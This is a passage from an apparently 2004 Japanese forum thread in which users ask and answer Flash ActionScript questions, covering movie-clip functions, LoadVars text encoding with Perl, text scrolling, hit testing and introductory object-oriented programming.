親MC.子MC.onEnterFrame = function(){ 〜AS〜 }
のように最初に処理を決めてしまう訳ではなく、
処理内容を内包したMCを配置していきたい感じです。
>>681 最終的に何がやりたいのか見えてこないけど、
イベントの種類を指定する変数を参照して条件分岐する
汎用のenterframeを作った方が良いような気がします。
683 :
668 :04/07/25 09:50 ID:HH8YeAtU
>>682 透明度の設定、カラーの設定、動きの部分等に
慣性や可減速をつけた計算を関数化してるんですが、
その処理ごとに記述するのではなく、、
関数化して渡した値を計算して返すように作りたいんです。
(色んなイベントで流用する為)
で今現在はMCを先にあらかじめ作っておいて、その中に記述してあるのですが、
emptyMovieClip等で生成したMCに対してはそれが出来ないので、
生成した際にその生成したMC内にfunctionを定義する事は出来ないものかと。
>>683 私の場合は、function内のthisを信用していないというか、管理するのが面倒なので、
thisを渡すようにしています。
呼び出し
hoge( this, prm1, prm2 );
定義
function hoge( mymc, prm1, prm2 ){
mymc._x += prm1;
:
}
どこで定義しても、どこから呼び出してOK。
flash5時代の古いやり方なので今は別のやり方があると思いますが。
ASが分からなくなってきた。 function move(){ this[ball1]._y++; } this[ball1].onEnterFrame = move; これをタイムライン上に書いたら場に置いてあるボール1だけでなく すべてのものが動き出すんですけどどうしてですかね?
686 :
685 :04/07/25 15:10 ID:OnZ8KVNQ
(;´Д`)何か根本的なところを理解してないのかな・・・ 画面上にボールを2つ置き(インスタンス名ball1,ball2) その二つをタイムラインから二つのボールを別々の動き(ball1位置はx正の方向、ball2はx負の方向) を別々の関数でさせ続ける方法ってありますか?
オブジェクト指向の練習で、指定した変数を各オブジェクトが認識してアニメーション
する初歩的なをものを試していますが、不明な点があるので質問させてください。
Win2000 MX
・_rootタイムラインに「atai=0」
・各ボタンは_rootタイムラインのataiに1〜5までの数字を代入
on (release){_root.atai=1}
・表示ムービークリップ。_rootタイムラインに代入された変数に応じてアニメーション。
onClipEvent (Enterframe){
if (_root.atai == 1){ //_root.ataiの変数を読み取る
_root.atai == 0 //ataiを一度初期化
this.gotoAndPlay(1); //指定フレームを再生
}else if (_root.atai == 2)
_root.atai == 0
this.gotoAndPlay(11);
以下
・
・
この時、変数を代入するボタンに、さらに_rootタイムラインをgotoAndStop()で移動させる
コマンドを追加すると、なぜが、他の1以外のボタンを押してから(1以外の変数をataiに代入
したから)「1」のボタンを押すと、_rootタイムラインは移動するのに、表示ムービークリップは
「1」を2回押さないと表示されないのはなぜでしょうか?
サンプル:
http://up.isp.2ch.net/up/3bb32b73eedd.zip
689 :
685 :04/07/25 15:22 ID:OnZ8KVNQ
>>688 ('A`)ああああああぁぁぁぁ・・・・
これで一日悩んでいたのか・・・・
逝ってきます・・・・。アリガトー
>>687 _root.atai == 0 ここをとりあえずなおそう
質問させてください。 MCとかボタンで、ロールオーバーしたときに、カーソルが指になるじゃないですか。 あれを、矢印カーソルのままにしておくことってできます?
>>691 対象となるMCorボタン.useHandCursor = false;
693 :
Now_loading...774KB :04/07/27 11:19 ID:oW3I1xRe
初歩的な質問ですいません。 ActionScriptをはじめたばかりなのですが、loadVariablesとは逆に使用している変数を別のFLASHに送るためにはどうしたらよいのでしょうか?よろしくご回答お願いします。
694 :
Now_loading...774KB :04/07/27 15:11 ID:SyXJUDag
XPでMX2004を使っています。 FFっぽいバトルのゲームのFLASHを作ろうと思っています。 しかし敵や操作する自分側のHPの設定はどのようなアクションスクリプト を組めばいいのでしょうか? わかる方いましたらぜひ教えて下さい。 お願いします。
696 :
先生 :04/07/27 17:20 ID:siq/+e/Z
>>693 > loadVariablesとは逆に使用している変数を別のFLASHに送る
全然逆じゃないですよ
LocalConnectionでぐぐってみるのがよろしいかと
>>694 どうやってって・・・
こんな質問が出るって事は、恐らく他の部分もどうやって作ればいいかわかんないレベルだよね?
だとしたらまだ君には早すぎると思うから、
もっと簡単なものから作っていった方がいいよ
占い系flashの制作法について質問させてください。 箱の中にい1番から10番までの10枚のクジがあり、ボタンを押すたびにランダムに一枚ずつ表示され、 1度引いたクジはリセットボタンが押されるまで二度と出てこないというシステムにしたいんですけど 後半の1度引かれたクジが出てこなくなるスクリプトが良くわかりません。 math〜を利用しランダムにクジが引かれる部分までは作れたのですが・・・・。 どなたか良い知恵をお貸しください。
player7で使える、右クリックメニューの消し方をおしえてください。
701 :
Now_loading...774KB :04/07/28 01:27 ID:yCD4hQE+
まとめて教えてFlash!アクションスクリプト編でも読め。
>>700 右クリックメニューを消しているのは見たことがないなぁ。
「Macromedia Flash Player 7 について」
っていうのだけは残ると思うよ。
ホイールは使えるみたいね。 右クリは条件つきでってどこかで読んだ気もするが。
LoadVarsについての質問です。 LoadVarsとPerlにてデータの送受信を試みています。 が、下記の問題の為作業が先に進まないどころか後輩の飼い猫が・・・・ 私より後輩を助けると思って何とか助言の程宜しくお願いします。 ◆問題内容 Perl側にてurlencodeしたシフトJIS文字列をFlash側にてLoadVarsにて受信後、 unescapeを実行しているが文字化けする。 Macromediaのバグっぽい・・・ ◆たすけてください LoadVariablesは極力使用したくありません。(extends不能の為) Perl側とFlash側でエンコード内容が一致する方法はありませんでしょうか? 力技歓迎。 ◆猫が もう、すごいんです・・・
705 :
先生 :04/07/28 20:08 ID:W2PDhesd
>>704 お好きな方法を選択してください。
1.Flash側で System.useCodepage = true;
2.扱うテキストをUTF-8にする。
個人的には後者を選びます。猫はどうでもいいです。
質問! 変数をdeleteするとメモリが圧迫されないとかヘルプでみたんだけど、 これって皆やってるんです? というか、例えばタイムライン上に存在しなくなった MC内変数って、実は生きてるんでしょか? だとするとflash内で幾つもの別flashを見せる時なんかは 見れば見る程メモリが圧迫されることになっちゃうけど....。
707 :
704 :04/07/28 20:30 ID:LBCy3bmW
>>705 回答有難うございます。
ちなみに、1では解決しません。
となると、残された道は2ですか・・・・
ねこー!
>>706 掲示板や、弾幕シューティング、3Dなんかを
作るようになったら気にしたほうがいいかも。
最近のPCスペックならば、相当面倒なことを
やらない限り問題にはならないよ。
大抵、メモリではなく、別な部分で重たくなる…
>708 レスどうもです。 弾幕シューティングではないんですが、 大量のMCを生成することになってしまって、 んでしかも、それはflashサイト内の一部のコンテンツなんです。 このコンテンツをタイムライン上から消したとしても、 変数へのメモリ割当が延々と残ったままだとしたら問題ありそー、 と思って質問しました。 そこらへんはどうなんでしょか?
>>709 残っているよ。
デバッガ使ってみるとよく分かる。
消せるなら消しておくにこしたことはない。
ただ、経験上、メモリを気にする人は、
凄腕か、もっと他に気にするところがあるだろの二択。
大抵後者なんで。
>>707 Flash5でパブリッシュすると、shiftJISになるハズ。
リスクのあるやり方だけど。とりあえずって感じ。
猫嫌いなんで適当
>>709 実体験から言ったら、多分残ってることがある。
心配だったら、メモリーの使用量確認しながら
ムービー動かしてみたらどうか?
>710,711 レスありがとうございます。 多分僕も「もっと他に気にするところがあるだろ」に当てはまるとは 思うんですがw でも参考になりました! ものすごく大量に変数使用する場合にのみ、 一応やっておくことにします。
713 :
704 :04/07/28 22:03 ID:LBCy3bmW
>>705 結果報告します。
1.結果変わらず。
2.扱うテキストをUTF-8にして、UTF-8の文字列をPerl側でurlencode、それをFlash側でunescape。
結果は文字化け。
orz ダメデチタ
>>713 そもそも、そのPerlの吐いたコードは正しいのかチェックしてみたら?
715 :
先生 :04/07/28 22:16 ID:W2PDhesd
LoadVarオブジェクトを使えばいいじゃん。
>>699 ありがとうございました。
光が見えてきた感じです。
717 :
704 :04/07/28 22:51 ID:LBCy3bmW
>>714 正しいハズです。
フラッシュの真似をするHTMLを作成し、Perlへアクセス。
Perlから返却された値をメモ帳で参照したら正しくurlencodeされた値でした。
Perlの内容は、特定のフォルダに存在するファイル名一覧を返却するものです。
>>715 LoadVarsオブジェクト使ってます。
orz ツレェ モウチョット情報セイリしてきマス
再生しているFLASHのfpsを受け取る関数がわかりません。教えてください。
>>717 それじゃ、次はunescapeする前の文字をflashで表示させて、ちゃんとデータ受け取れてるか
テストかな・・・
720 :
先生 :04/07/28 23:42 ID:W2PDhesd
>>717 メモ帳って・・・・UTF-8になってる?
あとLoadVarsはオブジェクトが勝手にエンコードするから、&以外は普通に扱えなかったかな。
>>720 >メモ帳
urlエンコードされるなら、asciiさえ見えれば何でも良いかと。
そういやLoadVersは勝手にエンコード、デコードしてくれるんだったか。
じゃ、別にunescape使う必要無いな。
722 :
先生 :04/07/28 23:53 ID:W2PDhesd
というかLoadVarsは送信時にはエンコードするけど、受信時にデコードってしたかな? txt=ほげ&num=12というテキストをそのまま送った気がする。 だから&だけエンコードしてあげればいいだけだったような。 ちと確認してみるかな。
723 :
先生 :04/07/29 00:18 ID:o2LQhStg
あ、デコードしてるね。生テキストでやる場合でも & % + を独自にエンコードする必要がある URLエンコードで使うなら値だけをエンコードして、str=(エンコード文字) とで繋げていけば出来るよ。
724 :
こおり :04/07/29 00:27 ID:StW5Ogz2
今ゲームを作っているのですが、左右不対称の絵をキーボードを押して裏返させたいのですが、うまくいきません。 キーボードで押して、反応させる所までは出来ているのですが、絵を裏返す方法が全く思い浮かびません。 色々な参考書を見ても使えるものが全く載っていませんでした。 よろしければどうすればいいか教えてください。 よろしくお願いします。 環境はFLASH MX をWindows98で動かしています。
mc1の中。 ●● ↑↑ |裏返し。フレームアクションストップ | 普通。フレームアクションストップ んで、キーを押したら_root.mc1がnextframeとかは? 俺バカっぽい説明だ・・・
726 :
先生 :04/07/29 00:38 ID:o2LQhStg
>>724 Hoge_mc._xscale = -Hoge_mc._xscale;
orz
728 :
694 :04/07/29 01:07 ID:lAXgJRJ1
>>697 そうですね。
簡単なところから始めようと思います。
ゲームを作ろうと思っているのですが
なにかよいサイトなどを知っている
方いませんか??
是非教えていただきたいです。
とりあえずPerlが吐き出すデータをURLエンコードする必要は無いわけだが・・・ URLエンコードはその名の通りのもので、 ちみ達はHTMLを吐き出す時も全てURLエンコードするのかね? しないっしょ・・・・ =とかもエンコードせず onDataで生データを扱えば最強。 おわり。
730 :
先生 :04/07/29 03:29 ID:o2LQhStg
え、URLエンコードってURLとか限られたASCII文字しか使えない場合に使うもんじゃねの?
732 :
先生 :04/07/29 03:34 ID:o2LQhStg
ダウンロードされたデータは、MIME タイプ application/x-www-urlform-encoded でなければなりません。 とリファレンスに書いてあるから。
733 :
先生 :04/07/29 03:37 ID:o2LQhStg
あ、XMLSocketでonData使ったときも結局独自エンコードしてたな。区切り文字制限が起こるから。
734 :
704 :04/07/29 17:22 ID:p0Rsaf1K
とりあえず、下記の方法に落ち着きました。 ◆対策 下記の文字だけ独自にエンコードする。 & + % = 色々勉強になりました。みなさんありがとう。 PS:猫は既に手遅れでした。
>先生 為になります。 cgiを経由せず、生のCSVファイルを扱う場合も中身のデータはURLエンコードしとく必要があるのでしょうか??
736 :
先生 :04/07/29 19:28 ID:o2LQhStg
>>735 数字以外の文字列を扱わなかったり、またはカンマ(又はタブとか)を扱わせないなら
そのままカンマでつなげて渡せばいいよ。
あらゆるバリエーションの文字列を許容するならエンコードが必要です。
やりかたはURLエンコードじゃなくてカンマとメタ文字を置き換えるだけ。
\を\0 、 ,(半角カンマ)を\1な感じで。(メタ文字や区切り文字は好みのものでいいけど)
(encoded文字列),(encoded文字列),(encoded文字列)と繋げていきましょう。
単純にデータベースとしてのCSVならタブを区切り文字にするけどね。
改行やタブが入らないようなデータなら、エンコードなんていらないし。
737 :
Now_loading...774KB :04/07/29 22:14 ID:ddGn3mIv
ビリヤードのゲームつくろうとしてまつ。 玉同士が反射する動作をつくりたいのですが、 円状のMC同士の当たり判定を円周同士でやる方法って あるのでしょうか? circle1.hitTest(circle2) だと当然だめでした。。。
739 :
Now_loading...774KB :04/07/29 23:04 ID:ddGn3mIv
740 :
こおり :04/07/30 00:01 ID:Z7tUgMMz
>>726 ありがとうございました。おかげさまで出来るようになりました。
他の部分も頑張って行きたいと思います。
また、わからないことがあれば、ここに来ようと思います。
本当にありがとうございました。
741 :
Now_loading...774KB :04/07/30 04:23 ID:Dxjp2eL4
現在ActionScript 2.0でオブジェクト指向プログラミングの勉強をしています。 クラス、継承(サブクラス)、インターフェイス・・・と色々あるようですが ここでちょっと疑問が。 オブジェクト指向って結局何やねん!? どういう場合に使えばいいのか、使うとどう便利なのか 価値がまったく理解できませぬ。 簡単に説明してくれるとありがたいなー お願い先生ー! 又は詳しく解説しているサイトがあったら教えてちょ。
743 :
741 :04/07/30 06:31 ID:Dxjp2eL4
わかったぞ! 一言で言うと・・・「 複数人で一つのモノを作る時に便利 」 違う?
アクセル、エンジン、タイヤ、車体だけで構成されている車を作るとする。 アクセルを踏んだら、車の速度を上げて、_xをプラスして走るってのが 構造化プログラム。 簡単なプログラムならシンプルで分かりやすい構造化でよいが、 車の重さ、エンジンの出力、グリップ力といった要素を追加して 車のバリエーションを作る場合、 アクセルが踏まれたら、エンジンの力を足して、重さの分だけ加速力が鈍って、 グリップ力よりも回転が速ければ、空回りする…と書く必要がある。 10台用意するならば、10回コピペして、 変数engineだったら、車にあわせて、engine1、engine2、engine3…と、 全ての部分をそれぞれ書き換えていく必要がある。 ここで、アクセルを離してもエンジンが回るバグがあったら、 10台の車の全ての部分を修正しなければならなくなる。 変数名の書き換えを間違えていたら、10台の車のどこかから、 間違いを探さなければならない。
一方、オブジェクト指向プログラムは、 車というクラスを用意する。 アクセルを踏むというイベントが発生したらエンジンに通知。 エンジンは回転力をタイヤに伝える。 タイヤは回転力を地面(摩擦計算)に伝える。 地面は、回転力、グリップ力、車体重量を元に加速度を計算、車体に送る。 車体は車を動かす移動量を決めて、車の表示に回す。 10台の車を用意するならば、識別用の名前、重さ、エンジン、グリップの数値だけを伝えてやる。 もし、エンジンにトラブルがあったら、エンジンの部分を見て修正する。 エンジンはエンジンのことしか知らず、 アクセルが踏まれたのね、自分の馬力だと、これだけ出力が出たよと タイヤに回転力を伝えることしかしない。 ニトロ機能を追加したくなったら、エンジンに、もしニトロなら、出力30%アップと書く。 出力が上がった結果、タイヤが空転する機能は、タイヤが勝手にやってくれる。 路面の状態(雨、氷)を追加するならば、地面の部分だけを改造する。 タイヤのサイズの要素を加えるならタイヤの部分を改造。 路面の傾きを入れるなら、車体の部分に、 {今の座標だと、路面の傾きは?と聞いて 前向きに30度ね、重さから斜面の落下速度をプラスして 車を移動させるよ}って部分を追加して、 車の表示のところに、斜面で傾き、y座標で上下する要素を追加すればよい。 OOPは、こんな理解でよいですか?
勘違い
>>743 変数だけではなくて関数も型に定義できる
って程度の認識だけど、特に困ったことはないなぁ。
748 :
Now_loading...774KB :04/07/30 09:42 ID:ZNjCqp2/
合ってると思うんだが、厳密には違うのかな? 漏れが馬鹿なだけか?
749 :
Now_loading...774KB :04/07/30 10:51 ID:Xk4T0Y73
質問です 外部TEXTで改行のある文字を 読み込んで ダイナミックテキストで 表示させたのですが 外部テキスト内容 gbtx="こんな感じに 改行があるてきすと になっています。” これを ダイナミックテキストの 変数に gbtxといれると こんな感じに 改行があるてきすと になっています。 となってしまいます どうにか間を詰めることはできないでしょうか? 多い場合はスクロールもさせたいのですが^^:
750 :
741 :04/07/30 11:36 ID:Dxjp2eL4
>>744-745 さんの説明を元にRPG用の敵をクラスで作ってみますた。
なるほど 便利さがわかってきたよーな・・・。
class Monster{
var atk:Boolean;// 攻撃合図 true:攻撃有り false:無し
var Mname:String;// モンスターの名前
var Mhp:Number;// ヒットポイント
var Mflg:Boolean=true;// 死亡フラグ
function Mon(){
if ( Mflg ) trace( Mname+"がこちらを睨んでいる!" );
}
function Battle( a:Boolean ){// 攻撃時の処理
atk=a;
if ( Mflg && atk ){
Mhp -=10;// 生きてて攻撃されたらHP−10
trace( Mname+"に攻撃!! HP:"+Mhp );
}
if ( Mhp<=0 && Mflg ){// 死んだら・・・
trace( Mname+"をやっつけた!" );
Mflg=false;
}
}
function Monster( n:String, h:Number ){// コンストラクタ
Mname=n;
Mhp=h;
}
}
5フレームから10フレームまでを ブラウザで表示させるにはどうすればいいですか?
>>749 その外部テキストの改行コードをCR(\r)(多分今はCRLF(\r\n)になってると思う)にしてみるとどうなる?
>>752 何とか自己解決しました
改行コードは\r\n になってました
これを split して 配列に入れて
一行ずつダイナミックテキストに表示ささせるように
しました。
最適な方法ではないかもしれませんが
これしか思いつきませんでした^^;
>>753 AS側で処理するなら、
gbtx= gbtx.split("\r\n").join("\r");
て感じで置換した方が楽だと思うよ。
>>753 だからそんなややこしいことしなくても、
外部テキストの改行コードをCRにすればいいんだってばw
どうしても外部テキストの改行コードを変更できない事情があるなら、
>>754 が正解ですけどね。
>>750 無理に全てをOOPする必要はないと思うよ
便利だと思う部分にだけ使うのが得策。
変数の命名規則とか覚えるともっと使いやすくなるよ。
>>755 プログラム側で簡単に対応できるなら対応しておく方が親切だと思われ
757 :
Now_loading...774KB :04/07/30 18:28 ID:uIZxUsEI
すいませんおねがいします! 文字列の中に特定の文字が存在するかどうかはどのようにしたら良いでしょうか? indexOf()で、帰ってこなかったら(=undefined?)、存在しない、というような判別でしょうか。
758 :
757 :04/07/30 19:27 ID:uIZxUsEI
自己レス if (this.hoge.indexOf("あ")<0) { }で行けました。 スレ汚しスイマセン
759 :
Now_loading...774KB :04/07/30 23:54 ID:HwQOzO6D
WinXP、FLASH5の環境です。 ダイナミックテキストのボックスに、アクションスクリプトで状況により、 カラーの違うテキストを入力したいのですが、うまくカラーの変更が できません。 if (mode == 0) { modeArea = "あああモード"; } else if (mode == 1) { modeArea = "いいいモード"; } この「○○○モード」という部分を色変えしたいのですが、 <font color=#FF0000>○○○モード</font>では文字自体が表示されません。 (テキストオプションのHTMLにはチェック入れてます) この方式では無理なのでしょうか? ちょっとランクが低いようですが、ご教授願います。
760 :
749 :04/07/31 01:58 ID:zcpVLjOH
複数行表示はなんとかできたんですが スクロールができない^^; ダイナミックテキストはマスクで覆うと消えちゃうとは・・・ どうやってスクロールさせてるんでしょうか?
761 :
Now_loading...774KB :04/07/31 04:27 ID:H4Mme5no
>>760 TextField.scroll
を使う。
>>761 ダイナミックテキスト名が
tx_sc の場合 ボタンに
on (press) {
tx_sc.scroll-=1;
}
でスクロールするはずですよね?
なぜか動きません
コンポーネントのほうだと動くのですが
大きさや色を変えたいので 出来れば自作でやりたいのですが・・
763 :
Now_loading...774KB :04/07/31 17:09 ID:H4Mme5no
>>762 on (press) {
trace(tx_sc)
tx_sc.scroll+=1;
}
でtx_scへのパスを確認してみて。
それから、上方向のスクロールは
+1だよ。
MXで 今テレビの砂嵐の画面を作ってるんだけれども photoshopで少し大きめのノイズ画面を作って それをランダムで配置 onClipEvent (enterFrame) { _x += Math.floor(Math.random()*11)-5; _y += Math.floor(Math.random()*11)-5; } これじゃぁ、旨くそれっぽくならない。 みんなどういうやり方してるの?
>>764 画面サイズのノイズを3種類くらい作って、交互に表示。
AS使う必要ないと思うが。
画像枚数減らしたいなら、左右反転、上下反転で使うと1枚でもそれなりに。 画面サイズよりも一回り大きくして、表示のたびに反転+ずらしてやるともっといい。
>>765 ん〜3枚使うより1枚で少し大きめのを
作った方が軽くなるかなぁと思ったんで(´・ω・`)
>>766 トンクスやってみる。
768 :
Now_loading...774KB :04/07/31 23:49 ID:byMBng6Y
基本的な事ですいません。FLASH MXをMACで使用。 座標(100,300) ▽------------------------------------------- ----------A--------------B------------------ Aボタンにロールオーバーすると▽ムービークリップがAの位置にスライド。 Bボタンにロールオーバーすると▽ムービークリップがBの位置にスライド。 この場合ってどういうスクリプトにすればいいんでしょうか? いろいろ考えてみたけどわからなくて。
769 :
Now_loading...774KB :04/08/01 00:25 ID:/i8L/xB+
>>768 ムービークリップ▽に、ある座標まで移動する関数を定義する(引数は移動したい座標)。
ボタンA、Bのロールオーバー時に▽のメソッドを呼ぶ。
その際ボタンの座標を引数として渡す。
770 :
768 :04/08/01 00:28 ID:drAQ40CD
>>769 ムービークリップ▽にfunctionを書き込めばいいのでしょうか?
ASの勉強したてなもので、すいません。
771 :
先生 :04/08/01 00:36 ID:uO4PaJXu
しこむのはAやBですな MovieClip.onRollOver
>>763 あまりに単純なミスだったので きづいたとき悲しかったです
方向逆でした^^;
あのー 追加質問でもうしわけないですけど
ダイナミックテキストにはhtmlレンダリングって項目がありますよね
あれチェックしても fontタグとか有効にならないんですが
何か条件とかあるんでしょうか?
773 :
768 :04/08/01 00:52 ID:drAQ40CD
774 :
先生 :04/08/01 01:16 ID:uO4PaJXu
>>773 スライドするバーのことかな?
到達位置と動作中かどうかのフラグと速度を決めてあげればいいんじゃないかと
775 :
768 :04/08/01 01:30 ID:drAQ40CD
>>774 そうです、スライドするバーです。
けどその到達位置と動作中とか速度の求め方がちっともわからないんですヽ(`Д´)ノウワァァン
Aのボタンをロールオーバーさせた時AのX座標を求めて
▽のX座標との距離を・・と考えたりしたんですが、▽が勢い良く飛び出してしまい・・
もうちょっと勉強しないと駄目ですね_| ̄|○
776 :
先生 :04/08/01 01:45 ID:uO4PaJXu
>>775 バーのX座標と、到達位置のX座表との距離で、速度の増分を変えてあげればいいんじゃないかな
飛び越しが起こるかどうかはバーX+速度と到達位置Xとを比べてあげればわかるから
飛び越しそうなら、バーXを到達位置Xと同じ値にして、移動する処理を終わらせればいい
777 :
761 :04/08/01 01:53 ID:/i8L/xB+
>>770 そう。ムービークリップ▽にfunctionを書き込む。例えばこんな感じ。
onClipEvent (load) {
nDelay = 0.2;//スライドさせるスピード
function xMove(targetX) {
this.nTargetX = targetX;
this.nTargetY = targetY;
this.onEnterFrame = function() {
var nMoveX = this.nTargetX-this._x;
if (Math.abs(nMoveX)<1) {
this._x = this.nTargetX;
delete this.onEnterFrame;
} else {
this._x += nMoveX*this.nDelay;
}
};
}
}
そしてボタンの方からは、こんな感じで呼び出す。
(ムービークリップ▽をmy_mc、ボタンABをそれぞれbtn1、btn2とした場合)
ボタンA
on (rollOver) {my_mc.xMove(this.btn1._x);}
ボタンB
on (rollOver) {my_mc.xMove(this.btn2._x);}
>>772 fontタグって使えたかなぁ?
あまり使ったことない昨日なのでわからんです。
質問させていただきまっす HPのタイトル代わりにFlashを作成したのですが Flash再生終了と同時にトップページにリンクさせたいのですが どうしたらよいのでしょうか? 脳の悪い俺に教えてやってくださいませ。 お願いいたします
780 :
778 :04/08/01 14:16 ID:HY27P5O1
>>779 別スレにて、AS使ったら可能とだけ答えていただいたので
再度調べても良く分からないので、こちらで質問させていただいたのですが
マルチととられてしまったようで、失礼しました。
なんとか自力で探してみます。
781 :
780 :04/08/01 23:21 ID:HY27P5O1
他の質問スレの過去ログなども読み漁り中ですが、 まだ見つかりません゚・(ノД`)・゚・ もし、哀れみで教えていただけるのでしたら やり方を教えていただけるとありがたいです。 こいつ、UZEEEEEな方は放置してやってください。
>>780 ムービーの最後のフレームにキーフレームの挿入をして
、getURL("index2.html")
とか。
783 :
768 :04/08/02 00:45 ID:feBei+pv
>>776 >>777 やはり良くわかりませんでした。_| ̄|○
せっかく教えていただいたのに申し訳ありません。
結局線上の○がマウスを追うスクリプトに変えました。
いろいろありがとうございました。
784 :
780 :04/08/02 10:35 ID:0Jn5V0WV
>>782 試したところ、できました。
重ね重ね、感謝します
785 :
Now_loading...774KB :04/08/02 16:19 ID:OlvRPuJA
a.htmlとb.htmlがあり、a.htmlに仕込んだflashのボタンを押すと b.htmlに配置した任意のMCを動かせるようにする。 と、異html間でのgotoAndPlayなどのASの受け渡しはできるのでしょうか・・? 結構探してもみつかりません、もし出来るのなら教えていただきたいです 環境:winXP/flashMX
localconnection
787 :
Now_loading...774KB :04/08/02 16:32 ID:OlvRPuJA
>>786 早いレス感謝です。
なんとかできそうです、ありがとうございました。
アクションのgetURLでリンクを貼ろうとして on (release) { getURL ("ここはURL", "_blank"); } と記述したのですが、エラーが出て反映されません。 何故でしょうか?またどう改善すればよいでしょうか。 環境はWinXpでFlashMXです。では何卒お願いします。
急用age
どんなエラーが出たかくらいは書こうね。
書く場所間違ってるんじゃないか? どこに書いた?
すみません、本当にすみません。エラー書くのを忘れてました。 エラーは以下文です。 --------------------------------------------- **エラー** シーン = シーン 1, レイヤー = レイヤー 1, フレーム = 181 :行 3:シンタックスエラー } ActionScript エラー数 :1 報告済みエラー :1 --------------------------------------------- 本当にすみません
3行目が全角だ。
796 :
Now_loading...774KB :04/08/04 16:34 ID:nGQMDqEx
797 :
796 :04/08/04 16:34 ID:nGQMDqEx
onClipEvent(load){ syoki_x = this._x; syoki_y = this._y; widthh = 600; total_frame = _root._totalframes; migihaji = Number(syoki_x) + Number(widthh); drug_hantei = false; } onClipEvent(enterFrame){ _y = syoki_y; now_frame = _root._currentframe; if(drug_hantei){ bar_frame = Math.floor((_x - syoki_x)/widthh*total_frame); _root.gotoAndStop(bar_frame); } else{ _x = Number(syoki_x) + Number((now_frame/total_frame)*widthh); } } on(press){ this.startDrag(this,syoki_x,syoki_y,migihaji,syoki_y); drug_hantei = true; } on(release){ this.stopDrag(); _root.gotoAndPlay(bar_frame); drug_hantei = false; } どなたかご指導ください。
798 :
761 :04/08/04 23:12 ID:0NbmWtJt
>>797 _x= syoki_xのときbar_frameが0になってしまうのが原因じゃない?
bar_frame = Math.floor((_x - syoki_x)/widthh*total_frame);
if (bar_frame<=0) {bar_frame = 1;}
としてみたらどう?
799 :
Now_loading...774KB :04/08/05 11:16 ID:4YsO9qne
actionがよくわからなくてとても見苦しいスクリプト組んでしまったのですが もっとすっきりまとめられないでしょうか?↓↓です onClipEvent (mouseUp) { ee=_root.abc; e1="";e2="";e3=""; e4=""; e5=""; e6=""; if (ee>0) { ff=_root.bcc g1=dd[_root.edd].slice(ee+3,ff); e1=g1.charAt(0); _root.kigou1._y=((g1.charCodeAt(i+2))-96)*10+3; _root.kigou1._x=((g1.charCodeAt(i+1))-96)*10+74; g2=dd[_root.edd].slice(ee+7,ff); e2=g2.charAt(0); _root.kigou2._y=((g2.charCodeAt(i+2))-96)*10+3; _root.kigou2._x=((g2.charCodeAt(i+1))-96)*10+74; g3=dd[_root.edd].slice(ee+11,ff); e3=g3.charAt(0); _root.kigou3._y=((g3.charCodeAt(i+2))-96)*10+3; _root.kigou3._x=((g3.charCodeAt(i+1))-96)*10+74; g4=dd[_root.edd].slice(ee+15,ff); e4=g4.charAt(0); _root.kigou4._y=((g4.charCodeAt(i+2))-96)*10+3; _root.kigou4._x=((g4.charCodeAt(i+1))-96)*10+74; g5=dd[_root.edd1].slice(ee+19,ff); e5=g5.charAt(0); _root.kigou5._y=((g5.charCodeAt(i+2))-96)*10+3; _root.kigou5._x=((g5.charCodeAt(i+1))-96)*10+74; g6=dd[_root.edd].slice(ee+23,ff); e6=g6.charAt(0); _root.kigou6._y=((g6.charCodeAt(i+2))-96)*10+3; _root.kigou6._x=((g6.charCodeAt(i+1))-96)*10+74; } }
>>799 いくらでもまとめられそうだが、
変数名がアレな感じで弄る気にならん・・・
801 :
796 :04/08/05 13:59 ID:OWXTXLzg
>>789 うまく動いてくれました!
761さん
ありがとうございました。
大感謝祭です。
802 :
796 :04/08/05 14:01 ID:OWXTXLzg
↑
スミマセン...
>>798 の間違いでした...。
>>799 とりあえず「配列アクセス」っての勉強した方がよさげ。
>>803 アドバイスありがとうございます
ぐぐってみます。
createEmptyMovieClipでつくったムービークリップをドラッグする場合 どうすればいいですか? startDragは解るんだけどどこにどう書けばよいのかわかりません。 ボタンを押すと空のムービーを作りそれに外部のswfを読み込んで それをドラッグするようなものをつくりたいんです。
806 :
先生 :04/08/06 20:01 ID:qrp0Pt2f
>>805 読み込まれた後のクリップのonPress内で呼び出す。
duplicateMovieClipで複製先を指定することはできないのでしょうか? 雰囲気としてはhoge.duplicetaMovieClip(MC.hoge2,100);のようなことをやりたいです。 この場合"MC"の中に書くしかないのでしょうか。
808 :
Now_loading...774KB :04/08/07 16:29 ID:aSS3dL+x
デジタル時計を作っているんですが、 MCにダイナミックテキストを1つ作り、変数にTIMEといれ、 そのMCをシーンに配置して、そのMCを右クリックし、 onClipEvent (enterFrame) { mydate = new Date(); H = mydate.getHours(); M = mydate.getMinutes(); S = mydate.getSeconds(); if (String(H).length == 1) { H = "0"+H; } if (String(M).length == 1) { M = "0"+M; } if (String(S).length == 1) { S = "0"+S; } TIME = (H+":"+M+" "+S); } と書いたのですが、時計が表示されません。 どこか間違ってるでしょうか? FLASH5、WIN2k です。
809 :
808 :04/08/07 17:03 ID:aSS3dL+x
すいません。いじくっていたら自己解決できました。
810 :
Now_loading...774KB :04/08/07 18:01 ID:8MyreChk
自動的に指定したURLにジャンプしたいのですが、 どうすればいいですか?怪盗お願いします。verはMXです
811 :
先生 :04/08/07 18:07 ID:AuckSfo+
>>807 duplicateMovieClipではなくて、attachMovieを使えばいいのではないでしょか。
>>809 > 自動的に指定したURLにジャンプしたいのですが、
と、ひとことで申されても、その言葉で表せる手続きの方法はたくさんあります。
_root.getURL(url);
のurlをリテラルではなく、変数で管理すれば自動といえますかね。
>>806 それってどこで書けば良いんでしょうか?
createEmptyMovieClipなんでコーディング中はまだ書く場所が無いんですけど。
813 :
先生 :04/08/08 00:04 ID:XWNDpeQc
>>812 呼び出すSWFにあらかじめ書いておくという方法と
呼び出し側でgetByteLoaded(), getByteTotal()をチェックして
ロードが終わったのを確認した段階でくっつける方法の2種類があります
FlashMX WinXP です。 A.swfにB.swfを読み込んだ時、B.swfにあるhoge(MC)を 削除する事、あるいはhoge(MC)の動きを止める(無効にする) 事ってできるのでしょうか。どなたかご教示下さい。
できるよ
たぶんね
やり方と言うか、記述するASを教えてください。
819 :
668 :04/08/11 08:26 ID:KwLtDc+x
>>818 B.swfの中にMC_hogeというMCがある。
A.swfのrootへ配置したMC_higeにB.swfを読み込んだと仮定。
A.swfのrootタイムラインに以下のように書く事で消去出来る。
MC_hige.MC_hoge.removeMovieClip()
ただし、B.swfのMC_hogeが
attachMovie()、duplicateMovieClip()、createEmptyMovieClip()
のいづれかによって生成された物である事が前提。
そうでない場合は、
